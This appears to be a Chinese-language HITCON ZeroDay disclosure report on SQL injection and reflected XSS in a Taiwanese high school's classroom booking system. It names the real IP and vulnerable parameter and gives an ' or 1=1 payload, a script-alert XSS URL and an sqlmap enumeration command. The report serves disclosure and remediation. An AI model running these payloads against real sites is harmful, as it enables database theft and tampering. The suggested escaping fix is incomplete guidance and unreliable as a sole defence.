竹崎高中 教室預約系統 存在SQLinjction與XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00981
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 竹崎高中 教室預約系統 存在SQLinjction與XSS
  • Introduction: 網站存在XSS與SQLinjection

處理狀態

目前狀態

公開
Last Update : 2024/02/01
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/12/01 11:28:06 : 新提交 (由 spencerku 更新此狀態)
  • 2023/12/02 12:21:23 : 新提交 (由 spencerku 更新此狀態)
  • 2023/12/03 14:31:07 : 新提交 (由 spencerku 更新此狀態)
  • 2023/12/09 15:18:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/12/20 18:51:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/12/20 18:51:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/12/20 18:51:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/02/01 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00981
  • 通報者:spencerKu (spencerku)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://163.27.118.118/room/
163.27.118.118/room/precontract.php?class_num=3&pre_ymd=2023-11-30&ex_calendar_place=1&pre_w=4

敘述

SQLi payload

' or 1=1 -- #

運行結果
圖片
圖片

  • XSS

    進入系統後去預約教室 發現url的GET參數class_num存在XSS

XSS payload

163.27.118.118/room/precontract.php?class_num=3"><script>alert(1)</script>&pre_ymd=2023-11-30&ex_calendar_place=1&pre_w=4

運行結果
圖片

  • SQL injection

    使用sqlmap工具測試發現GET參數class_num存在SQLi

SQLi payload

sqlmap -u "163.27.118.118/room/precontract.php?class_num=3&pre_ymd=2023-11-30&ex_calendar_place=1&pre_w=4" --dbs –batch

運行結果
圖片

修補建議

所有GET參數建議可以使用mysqli_real_escape_string函式

mysqli_real_escape_string()用法:
https://www.php.net/manual/zh/mysqli.real-escape-string.php

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;